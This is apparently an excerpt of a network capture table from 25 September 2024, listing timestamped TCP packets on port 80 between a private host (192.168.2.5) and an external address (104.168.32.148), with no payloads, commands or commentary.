Sep 25, 2024 18:50:19.487082005 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487123966 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487134933 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487174034 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487195015 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487205982 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487216949 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487247944 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487320900 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487368107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487380028 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487413883 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487437010 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487448931 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487461090 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487476110 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487488031 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487505913 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487633944 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487644911 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487656116 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487665892 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487678051 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487685919 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487689018 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487701893 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487708092 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487718105 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487737894 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487754107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487761974 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.487766027 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487818003 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488115072 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488157988 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488171101 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488209009 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488214016 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488228083 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488269091 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488290071 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488301039 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488316059 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488336086 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488353968 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488379002 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488389969 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488400936 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488414049 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488426924 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488456011 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488502026 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488512039 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488523960 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488542080 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488550901 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488559961 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488570929 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488578081 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488583088 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488596916 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488624096 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488651037 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488725901 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488737106 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488749027 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488759995 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488774061 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.488775969 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488795996 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.488979101 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489036083 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489211082 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489227057 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489238977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489244938 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489253044 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489264965 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489272118 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489276886 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489283085 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489293098 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489304066 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489315987 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489339113 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489438057 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489438057 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489470005 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489510059 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489521980 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489537001 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489556074 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489644051 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489655018 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489661932 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489675045 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489700079 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489721060 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489795923 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489806890 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489818096 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489829063 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489840031 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489852905 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489856005 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489869118 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489881039 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489895105 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.489914894 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.489914894 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.541604996 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.574778080 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574814081 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574826002 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574836016 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574856997 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574867964 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574872017 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.574881077 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574893951 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574907064 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574922085 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.574961901 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574971914 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.574975014 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574987888 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.574995041 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575005054 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575020075 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575025082 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575031996 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575134039 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575218916 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575229883 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575242996 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575254917 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575272083 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575287104 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575351954 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575365067 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575402975 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575465918 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575541973 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575552940 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575563908 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575582981 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575591087 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575594902 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575607061 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575624943 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575629950 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575638056 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575643063 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575649977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575678110 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575728893 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575740099 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575746059 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575752020 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575761080 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575766087 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575773001 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575790882 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575793982 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575793982 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575808048 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575814962 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575824976 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575835943 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575846910 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575864077 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575865984 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575879097 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575891972 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.575932980 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.575932980 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576139927 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576152086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576163054 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576173067 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576178074 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576183081 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576194048 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576196909 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576205969 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576234102 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576237917 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576248884 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576251984 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576261044 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576273918 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576277018 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576287985 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576303959 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576378107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576389074 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576407909 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576419115 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576428890 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576436043 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576442003 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576450109 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576453924 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576464891 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576515913 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576540947 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576550961 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576562881 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576586008 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576612949 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576623917 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576636076 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576647997 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576653004 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576683044 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576874971 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576884985 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576894999 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576905966 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576916933 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576917887 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576931000 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576945066 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.576976061 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576976061 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.576999903 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577121973 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577135086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577183962 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577214003 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577224970 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577235937 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577246904 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577259064 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577270031 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577270031 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577284098 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577285051 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577297926 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577305079 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577331066 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577451944 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577464104 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577482939 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577493906 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577497005 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577506065 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577517033 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577529907 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577533007 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577547073 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577558994 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577568054 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577569962 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577579021 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577581882 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577594995 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577600002 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577605009 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.577610016 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.577666998 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.622849941 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.622884989 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.622899055 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.622910976 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.622922897 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.622936010 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.622971058 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.622980118 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.623008013 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663712025 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663737059 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663749933 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663762093 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663767099 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663774967 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663786888 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663796902 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663801908 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663826942 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663858891 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663861036 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663873911 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663885117 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663896084 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663907051 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663913012 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663918972 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663934946 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663953066 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663976908 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.663979053 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.663992882 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664031029 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664032936 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664041996 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664055109 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664066076 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664068937 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664079905 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664093018 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664096117 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664129019 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664195061 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664205074 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664222956 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664235115 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664243937 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664258003 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664263010 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664282084 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664294004 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664294004 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664304972 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664316893 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664329052 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664340019 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664350986 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664354086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664381981 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664396048 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664402962 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664414883 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664447069 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664448977 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664458990 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664470911 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664508104 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664531946 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664545059 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664577007 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664583921 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664589882 CEST	80	49708	104.168.32.148	192.168.2.5
